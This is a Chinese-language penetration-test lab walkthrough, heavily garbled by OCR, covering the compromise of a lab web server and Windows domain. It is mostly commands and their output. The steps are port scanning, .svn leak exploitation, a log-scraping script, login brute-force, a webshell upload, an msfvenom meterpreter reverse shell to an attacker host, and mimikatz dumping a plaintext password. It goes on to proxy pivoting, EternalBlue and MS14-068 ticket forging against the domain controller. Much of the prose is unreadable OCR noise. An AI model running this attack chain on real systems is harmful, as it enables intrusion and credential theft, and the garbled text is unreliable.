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1.1. AMEiB IR 5

VEE DC 10.10. 10. 149

192. 168. 0. 150
10.10. 10. 150

PR 2%

kali 192.168.0.127

XN & webhack123 WEB HRR%5 284 PiER MK dc & dds
ARSCNFEAREF AR SRS, IR Re i8N A s CLEE i .
TR M kali B2 web FHEER NI de W& AR FT 235k 42

2.5 BI&E

2.1.masscan ¥ O 3E

masscan -p 1-65535 192.168.0.150 --rate=1000

2.2.nmap FPRGFIKEOREER

nmap -p 3306,49154,80,47001,49157,139,49153,445,135,49155,49156,49152 -A
192.168.0.150 -0oA webhack



M A I B

0 aned g.79 Secong
: # nmap -p 3306,49154,80,47001,49157,139,49153,445,135,49155,49156,49152 -A 192.168.0.150 -0A webhac

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-20 08:02 AKDT

Nmap scan report for 192.168.0.150

Host is up (0.00048s latency).

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02)
http-methods:
_ Potentially risky methods: TRACE
_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
_http-title: 403 \XE9\x94\x99\xE8\XAF\xAF - phpstudy
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp  open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3306/tcp open mysql MysSQL (unauthorized)
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
_http-server-header: Microsoft-HTTPAPI/2.0
_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
MAC Address: 00:0C:2 8:FD (VMware)
Warning: 0SScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 7|2008|8.1
0S CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::spl cpe:/o:microsoft:windows_server_2008::spl cpe:/o:microsoft:w
:/o:microsof indows_8 cpe:/o:microsoft:windows_8.1
0S details: Microsoft Windows 7 SP@ - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1
Network Distance: 1 hop
Service Info: 0Ss: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

M ERI S B A3 2R %5 25 /2 WEB & 4% 2 phpstudy £
¥EE 245 72 Microsoft Windows Server 2008 R2

3.0 M 34T = A

3.1. 47 hosts

192.168.0.150 www.webhack123.com
% www.webhack123.com &—/ xxx “F& #ZOHELE 2 ThinkPHP_3.1.3
J5 6 B AN EE



http://www.webhack123.com
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3.2.gobuster BF 3z #1344

gobuster dir -u http://www.webhack123.com -w /usr/share/wordlists/dirb/big.txt

# gobuster dir -u http://www.webhack123.com -w /usr/share/wordlists/dirb/big.txt

0] Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)

ril:
Threads:

Wordlist: /usr/share/wordlists/dirb/big.txt
Status codes:  200,204,301,302,307,401,403

User Agent: gobuster/3.0.1

Timeou 10s

.htaccess (Status
.htpasswd (Status: 403)
.svn (Status: 301)
Base (Status: 301)
app (Status: 301)
base (Status: 301)
cgi-bin/ (Status: 403)
coml (Status: 403)
com3 (Status: 403)
com2 (Status: 403)
com4 (Status: 403)
con (Status: 403)
error (Status: 301)
T 403)
1 403)

: 403)

: 403)

: 403)
public (Status: 301)
secci® (Status: 403)

3.3.svn BHIRER BRI

. svn AAAE AT DU iy SCAF (H 21X BRI
&) Seay-SVNMHEREBEERAAATE2.0 EFwww.cnseay.com l

| RSl | www. webhacki23. com |

SESIFE —- http://www. webhackl23. com/
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3.4.wc.db MXHTH;

XA sqlite Fud e SCfF BIHAFAE M B 3% SCHHE B
svn WIEREASREL AL R4 5 N we. db FH sqlitebrowser we. db 17T
F# http://www. webhack123. com/. svn/wc. db

webk wget http://ww.webhack123.com/.svn/wc.db
-20 08:26:51— http://wmw.webhack123.com/.svn/wc.db
Resolving www.webhack123.com (www.webhack123.com)... 192.168.0.150
Connecting to www.webhack123.com (www.webhack123.com)|192.168.0.150|:80... connected.
HTTP request sent, awaiting response... 200 0K
Length: 438272 (428K)
Saving to: ‘wc.db’

wc.db 100%[ = >] 428.00K —+-KB/s in 0.002s

2020-06-20 08:26:51 (180 MB/s) - ‘wc.db’ saved [438272/438272]

® New Database @ Open Database + W ® @ Open Project @& Save Project ® Attach D

Edit Database Cell
Database Structure Browse Data Edit Pragmas Execute SQL

Mode: Text v #%
Table: BINODES_BASE v X % B &

parent relpat L

local_relpath

Q
1]

App/Tpl/Manage/Block_edit.html App/Tpl/Manage

App/Tpl/Manage/Public_head.html App/Tpl/Manage

Type of data currently in cell: Text / Numeric
15 char(s)

App/Tpl/Manage/Admin_add.html App/Tpl/Manage

App/Tpl/Manage/Block_add.html App/Tpl/Manage

App/Tpl/Manage/Loan_refuse.html App/Tpl/Manage Remote

App/Tpl/Manage/Order_index.html App/Tpl/Manage

Identity v &

App/Tpl/Manage/... App/Tpl/Manage

Name Commit Last modified Size

App/Tpl/Manage/User_index.html App/Tpl/Manage

App/Tpl/Manage/Setting_api.html App/Tpl/Manage
App/Tpl/Manage/Setting_contract.html App/Tpl/Manage

285 App/Tpl/Manage/index_main.html App/Tpl/Manage

e 0 00 0 0 00 0 0 0o O

286 App/Tpl/Manage

App/Tpl

K 4 275-2870f581 » M Go to:
SQLLog Plot DBSchema Remote

AR \DYLLLEULUWDTL « L/ L/ J+ FMIELING = . ilvVailiu duulic

Pt P B T Xl A A

3.5.thinkphp Bt E

£ ThinkPHP_3. 1.3 it HESCIEFF R
225t we. db B DARIE SO H AL B
http://www. webhack123. com/App/Runtime/Logs/19 06 29. log

3.6.python 4R 5 B53C &

#coding: utf-8



import requests
url ="http://www.webhack123.com/App/Runtime/Logs"

def add_urls(patch,y):
urls=[]
foriin range(1,7):
for j in range(1,32):

if i<10:
if j<10:
urls.append(patch+"/%s_0%s_0%s.log" % (y,i,))
else:
urls.append(patch+"/%s_0%s_%s.log" % (y.i,j))
else:
if j<10:
urls.append(patch+"/%s_%s_0%s.1og" % (y.i,j))
else:
urls.append(patch+"/%s_%s_%s.log" % (y.i,))
return urls

urls = add_urls(url,"20")

foriin urls:
req=requests.get(i)
if reg.status_code==200:
print(i)
html = req.text
with open("webhack123.txt",'a',encoding="utf-8') as f:
fwrite(html)

WAT IR

I 5 PR EE I Bk



P R VI 5k
requests

url ="http://www.webhack123.com/App/Runtime/Logs"

def add_urls(patch,y):
urls-[]
i range(1,7):
J range(1,32):
1<10:
j<1eo:
urls.append(patch+"/%s 0%s 0%s.log

viia)

urls.append(patch+" /%s @%s %s.log (y,i,3))

.append(patch+"/%s %s 0%s.log"

(v,1i,3))

.append(patch+"/%s %s %s.log (v:i;3))

urls = add _urls(url,"20")

i urls:
reg-requests.get(i)
req.status_code--200:
print(i)
html req.text
open("webhack123.txt",'a',encoding="utf-8")
f.write(html)

http://www.webhack123.com/App/Runtime/Logs/20 03 27.log
http://www.webhack123.com/App/Runtime/Logs/20 06 20.log
http://vwww.webhack123.com/App/Runtime/Logs/20 06 21.log
[Finished in 0.95s]

3.7. R EHEL

thinkphp RARCASE 2 iC KA BCE IS H &

SQL: SELECT * FROM ~cv_admin’ WHERE ( “username’ = 'admin' ) LIMIT 1 [ RunTime:0.000000s ]

SQL: UEDINEE “cv_admin® SET ~password ='74c774ef39b5b977c1fd59dbfc73c3e380a65aa3" WHERE ( “username™ = 'admin' ) [ RunTime:0.000000s

[ 2020-06-20T723:09:40+08:00 ] 192.168.0.110 /index.php?m=Pay&a=index

K5 admin B 74c774ef39b5b977c1fd59dbfc73c3e380a65aa3
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74c774ef39b5b977¢1fd59dbfc73c3e380a65aa3

mdS(mdS($pass))

web123

i#T somds fi# web123

3.8. 487 hosts HliEEHRRE& FH A

WMRFFHFEE BEERAR G &7 lil4h 2 hosts Rl ¥ 4 X #0751
WITHZEE T —MHALE https://github.com/fofapro/Hosts scan BIAS 5 FERA A
ANEE/MEL T — FHBIFA top3K Tk 7347 75 25h 1t 1P 22505 A

#!/usr/bin/python

# -*- coding: UTF-8 -*-

#Author:R3start

#IXFE AT 1P A A4 AR DG U5 1] )/ TR

import requests
import re

lists=[]
files = open(‘hosts_ok.txt','w+")
#TEEL P Hbhk

for iplist in open("ip.txt"):
ip = iplist.strip('\n")
#i B host Mt
#http_s = ['http://','https://']
http_s = ['http://']
for hiin http_s:
for d in open("top3kdomain.txt",'r'):#moonsec
d = d.strip(\n’)
for hostlist in open("host.txt",'r"):
host = d+"."+hostlist.strip(\n')
headers = {'Host"host,'User-Agent':'Mozilla/5.0 (Windows NT 10.0;
WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36'}

try:


https://github.com/fofapro/Hosts_scan

5 7 P BRI Rk

r = requests.session()

requests.packages.urllib3.disable_warnings()

rhost = r.get(h+ip,verify=False,headers=headers,timeout=>5)

rhost.encoding="utf-8'

title = re.search('<title>(.*)</title>', rhost.text).group(1) #3kHU i

info = '%s -- %s Wril: %s B KN %d FR: %s' %
(ip,host,h,len(rhost.text),title)

lists.append(info)

files.write(info + "\n")

print(info)
except Exception :

error = ip + " --- " + host + " --- ViR ~"

print(error)
print('====================================L i & ¥ W 5 %
===================================z2")
foriin lists:

print(i)

ljj HA#BH https 030 7T EL R A http RiSCE 47 il 48 0 C
EX SIES: C:\Windows\system32\cmd.exe l =R ﬂ-, b

192.168.0.1580 —— wxtest.webhackl123.com
fglx — phpstudy

192 168.8.158 —— john.webhackl123.com T
1.1 — phpstudy

192.168.08.158 —— ku.webhack123.com TiM
— phpstudy

tmail.webhack123.com Z \
FE1% — phpstudy p
192.168.6.158 —— biomed.webhackli23.com i )
-Fﬁp: = php.,tudy
192 168.08.158 —— gem.webhack123.com T
1:c — phpstudy
192.168.0.150 his .uebhack123.com {i}
1:?: — phpstudy
—— alcor.webhackl123.com
— phpstudy
168.0.158 —

192.168.8.158 — kaoshi.webhacki23.con T http://
fﬁl - — phpstudy
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XD FEE) ENY) EEW wRin

192.168.0.150 -- www.webhackl123.com #M¥ : http:// ZdE& A/ : 10835 #R&

192.168.0.150 -- mail.webhack123.com #x¥ : http:// ZiE&/ : 193755 : 403 $2i% - phpstudy
192.168.0.150 -- ftp.webhack123.com #H¥ : http:// BdE&A/N 1 1932 #7:8 : 403 $&i% - phpstudy
192.168.0.150 -- smtp.webhack123.com #M¥ : http:// ZdEEA/N : 1932 #5732 : 403 $&i% - phpstudy
192.168.0.150 -- pop.webhack123.com #M¥ : http:// ZEEA/I : 1932 455 : 403 45i= - phpstudy
192.168.0.150 -- m.webhack123.com ¥ : http:// #dEEA/N : 1932 #5587 : 403 £8i% - phpstudy
192.168.0.150 -- webmail.webhack123.com #M¥ : http:// ZdE& A/ : 1932 #7:& : 403 $&i% - phpstudy
192.168.0.150 -- pop3.webhack123.com #M¥ : http:// FEEEA/N : 1932 #5784 : 403 £5i% - phpstudy
192.168.0.150 -- imap.webhack123.com /¥ : http:// ZdEEA/N : 1932 #1:3 : 403 $51% - phpstudy
192.168.0.150 -- localhostwebhack123.com ¥ : http:// EdEEA/N : 1932 #5787 : 403 48i% - phpstudy
192.168.0.150 -- autodiscover.webhack123.com #¥ : http:// #dE&7N 1 1932 #5733 : 403 $#&i% - phpstudy
192.168.0.150 -- admin.webhack123.com #M¥ : http:// #gE&8F/N 1 4200478 : |

192.168.0.150 -- bbs.webhack123.com #M¥ : http:// #dEEA/N : 1932 g 403 $81% - pnpstudy
192.168.0.150 -- testwebhack123.com ¥ : http:// EdEEA/N : 1932 #R8N: 403 452 - phpstudy
192.168.0.150 -- mx.webhack123.com ¥ : http:// Zd8&7) : 1932 #7:83 : 403 &% - phpstudy
192.168.0.150 -- en.webhack123.com ##¥ : http:// ZdE& /N : 1932 #734 : 403 {58 - phpstudy
192.168.0.150 -- email.webhack123.com ¥ : http:// #3EEA/N : 1932 #134 : 403 452 - phpstudy
192.168.0.150 -- wap.webhack123.com #M¥ : http:// a8/ : 1932 #58 : 403 $&i% - phpstudy

admin.webhack123.com XANak2 e K )G & Hodlk

) # admin.webhack123.com/index.php?m-=Index&a=login ® oW LMD en®e d

Mevilfimag.. B 2ERE © msmEzs

3.9. FAEIERZEIRF

LIPS R 2T



Allack dave Loumns

i H P I BORE

J Results I Target I Positions I Payloads I Options ]

‘ Filter: Showing all items

Accept: */*

~J o n

Content-Length: 43

O 1w m

Connection: close

[l ol el
[T S

3.10. ¥ E L& HABEIZE webshell

Origin: http://admin.webhackl23.com

username=admin&password=webli3 &captcha=£6531

charset=UTF-8

Referer: http://admin.webhackl23.com/index.php?w=Index&a=login|
Cookie: PHPSESSID=5écsk70e7hbkc8vepvbsm3jvg0

Request 4 | Payload |Status | Emor | Timeout|Length | Comment
0 200 OJ O 501
1 123123 200 ] d 501
2 a's'da'd 200 O O 501
3 sadad 200 O O 501
4 web123 200 J [] 465
5 assas 200 ™ (] 501
_J RequestI Response ]
J RawT Params T Headers I Hex ]
1 POST /index.php?m=Index&a=login HTTP/Ll.l
2 Host: admin.webhacklZ3.com
3 User-Agent: Mozilla/5.0 (Windows NT £.l; Winé4; x64; rv:77.0) Gecko/20100101 Firefox/77.0

Accept-Language: zh-CN, zh;q=0.8, zh-TW;q=0.7, zh-HK; q=0.5,en-US;g=0.3,en;¢=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
X-Requested-With: XMLHttpRequest



& 5 R SR

>
nh

Famusa: ©

fm
i

EWEIE:  400-000-000

yEmBHEt :  findex php/Publicproject/order.shtml

R EEEEER . jpg,png,gif jpea,zip,doc,zip,php

e EESTEN s 20

XTEM -

(] C:\phpstudy_pro' ¥4 \www. webhackl23. com‘\PublicilUploadi202006214|

192. 168. 0. 150 B ), 3ZfF 3) =i

B S C: || 4a2ed0948744bf405302£b298a385e14. php

= IZ] phpstudy_pro = .
=0 e | TaT1ddebT3c1342db129aT286cT2T8e9. jpg
E EJ WHW. webhack123. com ;: f21b1b11419dd1790b39ddafeeﬁbsoel _]pg

[ ) Public
= 2] Upload
awl 20200621
“e D

4. metasploit FHATIRAUNE BWEE

41 £ BB EHE T

phpstudy BEfFEERINE RGMPR A EIE EAEHAT exe w2 RBUR T

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.127 Iport=12345 -f exe >s.exe
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4.2, M50 2%

msf5 > use exploit/multi/hander

[-] No results from search

[-] Failed to load module: exploit/multi/hander

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set Ihost 192.168.0.127
lhost => 192.168.0.127

msf5 exploit(multi/handler) > set Iport 12345

lport => 12345

msf5 exploit(multi/handler) > exploit

lport = 12345
msf5 exploit(multi/handler) > exploit
Sending stage (180291 bytes) to 192.168.0.150

Meterpreter session 1 opened (192.168.0.127:12345 — 192.168.0.150:50361) at 2020-06-20 19:55:53 -0800

HLRR
meterpreter > getuid
Server username: WEB\Administrator

4.3.migrate TRiHE

migrate ILH ] 64 f7HEfEH
migrate 592 AT H| system J7{EIRATHIHAE
meterpreter > migrate 592

Migrating from 4004 to 592 ...
Migration completed successfully.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > |j

4.4. mimikatz M5 75 EASC3REY

load mimikatz

meterpreter > wdigest

[+] Running as SYSTEM

[*] Retrieving wdigest credentials
wdigest credentials

AuthID Package Domain User Password
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0,46514 NTLM
0,997 Negotiate NT AUTHORITY LOCAL SERVICE

0;,558301 NTLM WEB Administrator !@#Qwe456

0,996 Negotiate HACKBOX
WEB$ @tB]xH/ka*ZmmIFokG1qiX#A#_ucF[yAQql+VyKjlA NfcV9*ry"o$sfC)gN
%SA+]DVRq@htb.=_Mf;g?(N3y$:e5j[h5g#VngdcT'Ku92U TG~ $cLzCnSIhw

0;999 Negotiate HACKBOX
WEB$ @tB]xH/ka*ZmmIFokG1qiX#A#_ucF[yAQql+VyKjlA NfcV9*ry"o$sfC)gN

%SA+]DVRq@htb.=_Mf;g?(N3y$:e5j[h5g#VngdcT'Ku92U TG~ $cLzCnSIhw

meterpreter > tspkg

[+] Running as SYSTEM

[*] Retrieving tspkg credentials
tspkg credentials

AuthID Package Domain User Password

0,996 Negotiate HACKBOX WEB$

0;46514 NTLM

0,997 Negotiate NT AUTHORITY LOCAL SERVICE

0,999 Negotiate HACKBOX WEB$

0;,558301 NTLM WEB Administrator !@#Qwe456

% FH hackbox 8 FJ ) web
A G Administrator 2515 | @#Qwe456

5. B5 W BOEiE &

5.1. metasploit BRI LAY EE

X BRSPS ST IS E T IS E 7 ) 2
metasploit 1 cobalt strike4.0

5.1.1. 7 B W IF 35
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net config workstation

6872 1412 phpstudy_pro.exe X64 WEB\Administrator C:\phpstudy_pro\COM\phpstudy_pro.ex

meterpreter > steal_token 1412

Stolen token with username: WEB\Administrator
meterpreter > getuid

Server username: WEB\Administrator
meterpreter > shell

Process 3720 created.

Channel 2 created.

Microsoft Windows [€¥ 6.1.7601]

C:\Windows\system32>net config workstation

net config workstation

V0000000 \\WEB
V0000000 web . hackbox.com
€000 Administrator

NetBT_Tcpip_{E8351C91-A4F9-41D1-B172-914190A597AE} (000C294438FD)
NetBT_Tcpip_{C53D5F84-5F2A-41D8-A9F1-54D9047CO6DF} (000C294438F3)

VOOno Windows Server 2008 R2 Standard

V00000 HACKBOX

V000 99 DNS 0000 hackbox.com
9009 WEB

COM ©EO" (©9)

COM 909099 (09)
COM ©9OTO" (9009)
V0000.9000590

5.1.2. B L=

run post/windows/gather/enum domain

meterpreter > run post/windows/gather/enum_domain

[+] FOUND Domain: hackbox
[+] FOUND Domain Controller: dc (IP: 69.172.201.153)

meterpreter > [j

run post/windows/gather/enum_ad_computers

meterpreter > run post/windows/gather/enum_ad_computers

Domain Computers

dNSHostName distinguishedName operatingSystemServicePack

dc.hackbox.com CN=DC,OU=Domain Controllers,DC=hackbox,DC=com Windows Server 2008 R2 Standard Service Pack 1
WEB.hackbox.com CN=WEB,CN=Computers,DC=hackbox,DC=com Windows Server 2008 R2 Standard Service Pack 1

5.1.3.3%/5 Bt &

net time /domain & & {5 i [a]
net view i ;{5 E F AL
net view /domain &% 1,
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net view /domain:hackbox

C:\phpstudy_pro\WwW\ww .webhack123.com>net view /domain:hackbox
net view /domain:hackbox
Server Name Remark

The command completed successfully.

C:\phpstudy_pro\Www\ww .webhack123. com>]]

P Py P SR

EERA RN HAb & A 45 BRI

net group /domain

ifconfig 13 2IH /> ip B
10.10.10.150
192.168.0.150

Interface 11

: Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:44:38:f3
MTU : 1500
IPv4 Address : 10.10.10.150
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80:: fc38:80d9:593d:809a
IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 12

Name : Microsoft ISATAP Adapter

Hardware MAC : 00:00:00:00:00:00

MTU : 1280

IPv6 Address : fe80::5efe:ala:a%6

IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:fFfff:ffff:ffff

Interface 13

: Intel(R) PRO/1000 MT Network Connection #2
Hardware MAC : 00:0c:29:44:38:fd
MTU : 1500
IPv4 Address : 192.168.0.150
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::7166:3e:7dda:41b7
IPv6 Netmask : ffff:ffff:ffff:ffff::

arp



meterpreter > arp

ARP cach

e

10.10.10.149
10.10.10.254
10.10.10.255

192.
192.
192.
192.
192.
192.
224,
224,
224 .

5.1.4. &3t BELAY

168.
168.
168.
168.
168.
168.
0.0.
0.0.
0.0.

0.1
0.107
0.110
0.123
0.127
0.255
p

2
2

MAC address

Interface

s H B EE I BERE

7f metasploit ZuffiH shell RIS EAENS, 1T LAAE AR5 1EELAS

chep 65001

5.1.5. &A% AT i 5 Bl Ew 4L

ipconfig /all



thernet adapter ©99900006:

Connection-specific DNS Suffix
Description .

Physical Address.

DHCP Enabled. AR RS
Autoconfiguration Enabled .
Link-local IPv6 Address .

s H B EE I BERE

: localdomain

: Intel(R) PRO/1000 MT Network Connection
: 00-0C-29-44-38-F3

: Yes

: Yes

: fe80:: fc38:80d9:593d:809a%11(Preferred)

IPv4 Address. .
Subnet Mask .

Lease Obtained.
Lease Expires .
Default Gateway .
DHCP Server .
DHCPv6 IAID . .
DHCPv6 Client DUID.
DNS Servers . . .
NetBIOS over Tcpip.

: 10.10.10.150(Preferred)

: 255.255.255.0

1 2020996992009 22:57:19
1 2020996992199 15:28:30

: 10.10.10.254

1 234884137

: 00-01-00-01-26-7E-42-E6-00-0C-29-44-38-F3
: 10.10.10.149

: Enabled

unnel adapter isatap.localdomain:

Media State . . SREACISES Sns
Connection-specific DNS Suffix

Description . : Microsoft ISATAP Adapter
Physical Address. « +« « « . : 00-00-00-00-00-00-00-E0

DHCP Enabled. . « « « « « « « « « 2 No

Autoconfiguration Enabled . . . . : Yes

: Media disconnected
: localdomain

unnel adapter isatap.{E8351C91-A4F9-41D1-B172-914190A597AE}:

Connection-specific DNS Suffix
Description . . : Microsoft ISATAP Adapter #2

Physical Address. « « « .« . : 00-00-00-00-00-00-00-E0

DHCP Enabled. . . . . . . . . . . : No

Autoconfiguration Enabled . . . . : Yes

Link-local IPv6 Address . : fe80::5efe:192.168.0.150%14(Preferred)
Default Gateway .
DNS Servers . o o
NetBIOS over Tcpip.

; 192.168.0.1
: Disabled

dns 10.10.10.149
dns — R #R 2 H i AE FE — ip

DC 10.10.10.149

WEB 10.10.10.150

5.1.6. 3 MEFIHWHE I ER

run
post/windows/gather/enum_logged_on_users



meterpreter >

Running against session 1

urrent Logged Users

$-1-5-18
S$-1-5-21-1443003717-4130318662-4279967973-500

s H B EE I BERE

run post/windows/gather/enum_logged_on_users|

User
NT AUTHORITY\SYSTEM
WEB\Administrator

[+] Results saved in: /root/.msf4/100t/20200620230755_default_192.168.0.150_host.users.activ_340480.txt

Recently Logged Users

$-1-5-18

$=-1-5-19

$-1-5-20
S$-1-5-21-1443003717-4130318662-4279967973-500
$-1-5-21-2005268815-658469957-1189185684-1103
S$-1-5-21-2005268815-658469957-1189185684-500

meterpreter > fI

Profile Path

%systemroot¥\system32\config\systemprofile
C:\Windows\ServiceProfiles\LocalService
C:\Windows\ServiceProfiles\NetworkService
C:\Users\Administrator

C:\Users\web
C:\Users\Administrator.HACKBOX

5.1.7. % B4 H¥83& DC 3%

run autoroute -s 10.10.10.0/24

meterpreter > run

autoroute -s 10.10.10.0/24

Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
Example: run post/multi/manage/autoroute OPTION=value [ ...]

Adding a route to 10.10.10.0/255.255.255.0...
Added route to 10.10.10.0/255.255.255.0 via 192.168.0.150

Use the -p option to list

5.1.8. 7 /5 A

use auxiliary/server/socks4a

all active routes
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msf5 exploit( ) > use auxiliary/server/socks4a
msf5 auxiliary( ) > show options

Module options (auxiliary/server/socks4a):

Name Current Setting Required Description

SRVHOST ©0.0.0.0 The address to listen on
SRVPORT 1080 yes The port to listen on.

Auxiliary action:
Name Description

Proxy

msf5 auxiliary(
Auxiliary module running as background job 0.

Starting the socks4a proxy server
msf5 auxiliary( ) > all




5.1.9.% & porychanins f{Z nmap 3

¥ vim Jetc/proxychains.conf &

pro;(y_dnél =

tcb;read_tirﬁe_but 15000 7
tcp_connect_time_out 8000

[ProxyList]

socks4 127.0.1.1 1080

proxychains nmap -sT -A -Pn
10.10.10.149

s H B EE I BERE
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S-chain}-<>-127.0.0.1:1080—<><>-10.10.10.149:6112-¢<—denied
S-chain}<>-127.0.0.1:1080—<><>-10.10.10.149:40193-¢—denied
S-chain}-<>-127.0.0.1:1080—<><>-10.10.10.149:49156—<><>-0K
S-chain}-<>-127.0.0.1:1080—<><>-10.10.10.149:1165-¢«—denied
Nmap scan report for 10.10.10.149

Host is up (0.98s latency).

Not shown: 982 closed ports

PORT STATE SERVICE

53/tcp open domain

88/tcp open kerberos-sec

135/tcp open msrpc

139/tcp open netbios-ssn

389/tcp open 1ldap

445/tcp open microsoft-ds

464/tcp open kpasswd5

593/tcp open http-rpc-epmap

636/tcp open 1ldapssl

3268/tcp open globalcatLDAP

3269/tcp open globalcatLDAPssl

49152/tcp open unknown

49153/tcp open unknown

49154/tcp open unknown

49156/tcp open unknown

49157/tcp open unknown

49158/tcp open unknown

49163/tcp open unknown

Nmap scan report for 10.10.10.149
Host is up (0.98s latency).

Not shown: 982 closed ports
PORT STATE SERVICE

53/tcp open domain

88/tcp open kerberos-sec
135/tcp  open msrpc

139/tcp  open netbios-ssn
389/tcp open Idap

445/tcp  open microsoft-ds
464/tcp  open kpasswd5
593/tcp  open http-rpc-epmap
636/tcp  open Idapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssI
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
49158/tcp open unknown
49163/tcp open unknown
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5.1.10. K{EZ¥ ms17 010 FHTRH

Connecting to target for exploitation.

Connection established for exploitation.

Target OS selected valid for OS indicated by SMB reply

CORE raw buffer dump (51 bytes)

0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard
0x00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac

0x00000030 6b 20 31 k1

Target arch selected valid for arch indicated by DCE/RPC reply
Trying exploit with 22 Groom Allocations.
Sending all but last fragment of exploit packet
Starting non-paged pool grooming
Sending SMBv2 buffers
Closing SMBv1l connection creating free hole adjacent to SMBv2 buffer.
Sending final SMBv2 buffers.
Sending last fragment of exploit packet!
Receiving response from exploit packet
ETERNALBLUE overwrite completed successfully (0xC000000D)!
Sending egg to corrupted connection.
10.10.10. : Triggering free of corrupted buffer.

i HY R

5.1.11. ms14-068 [{1 %4

fEHIXAS exp 77 B — - im gz P
web AIH P (HE AN HIEE

5.1.12. FREEEH

run post/windows/manage/enable_rdp
rdesktop 192.168.0.150
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hackbox\web

ackbox
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5.1.13. ms14-068 I Z

5.1.13.1. ms14-068.exe fA|EEE

X (E B metasploit gTHHE SR, ATUEIE FHEE
ms14-068.exe -u web@hackbox.com -s
S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p |@#Qwe456

c:\phpstudy_pro\WwW\ww .webhack123.com>ms14-068.exe -u web@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !Q#Qwes56
ms14-068.exe -u web@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe4s56

[+] Building AS-REQ for 10.10.10.149 ... Done

[+] Sending AS-REQ to 10.10.10

[+] Receiving AS-REP from 10.1i

[+] Parsing AS-REP from 10.10. 9

[+] Building TGS-REQ for 10.10.10.149

[+] Sending TGS-REQ to 10.10.10.149 ...

[+] Receiving TGS-REP from 10.10.10.149 ... Done!
[+] Parsing TGS-REP from 10.10.10.149 ... Done

(B R SR A 1 GT_webahackbox. com. ccachelNNEITS]

c:\phpstudy_pro\WwW\ww .webhack123. com>]

5.1.13.2. FHA kiwi
load kiwi

5.1.13.3. FHEE

kerberos_ticket_purge J& P 224

51.13.4. SA\EE

Ny

7F metasploit mimikatz i LA X ThEE .
4% mimikatz 7N\ ZE 4
mimikatz # kerberos:ptc TGT web@hackbox.com.ccache

C:\phpstudy_pro\WWW\ww .webhack123.com>mimikatz.exe
mimikatz.exe

LR, mimikatz 2.2.0 (x64) #19041 May 19 2020 00:48:59
L ® ##. "A La Vie, A L'Amour” - (oe.eo)
## / \ ## /%%x Benjamin DELPY “gentilkiwi® ( benjaminagentilkiwi.com )
#H\ / > http://blog.gentilkiwi.com/mimikatz
‘#ov o' Vincent LE TOUX ( vincent.letouxagmail.com )
‘R > http://pingcastle.com / http://mysmartlogon.com  sk%/

mimikatz # kerberos::ptc TGT_web@hackbox.com.ccache
Principal : (01) : web ; @ HACKBOX.COM

Data @
Start/End/MaxRenew: 2020/6/21 18:33:58 ; 2020/6/22 4:33:58 ; 2020/6/28 18:33:58
Service Name (01) : krbtgt ; HACKBOX.COM ; @ HACKBOX.COM
Target Name (01) : krbtgt ; HACKBOX.COM ; @ HACKBOX.COM
Client Name (01) : web ; @ HACKBOX.COM
Flags 50a00000 : pre_authent ; renewable ; proxiable ; forwardable ;
Session Key : 0x00000017 - rc4_hmac_nt
360e3a0547b8d784d60ad7a6727e148e
Ticket : 0x00000000 - null ; kvno = 2
* Injecting ticket : OK

mimikatz # I



mailto:TGT_web@hackbox.com.ccache
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exit

klist && 27l 4

C:\phpstudy_pro\Www\ww .webhack123.com>klist
klist

©9]06% 1D €6 0:0x3e7
©06060060: (1)

#0> ©299€: web @ HACKBOX.COM
999909 krbtgt/HACKBOX.COM @ HACKBOX.COM
Kerberos 0999999V ®: RSADSI RC4-HMAC(NT)
U990 -x50a00000 — forwardable proxiable renewable pre_authent
9O "99: 6/21/2020 18:33:58 (9VV®)
V909 09: 6/22/2020 4:33:58 (©VOV)
909999 6/28/2020 18:33:58 (©009)
QUOOLOOOY: RSADSI RC4-HMAC(NT)

C:\phpstudy_pro\Www\wmw .webhack123.com>]]

Pjin) de 3345

C:\phpstudy_pro\Www\ww: .webhack123.com>dir \\dc\C$
dir \\dc\c$

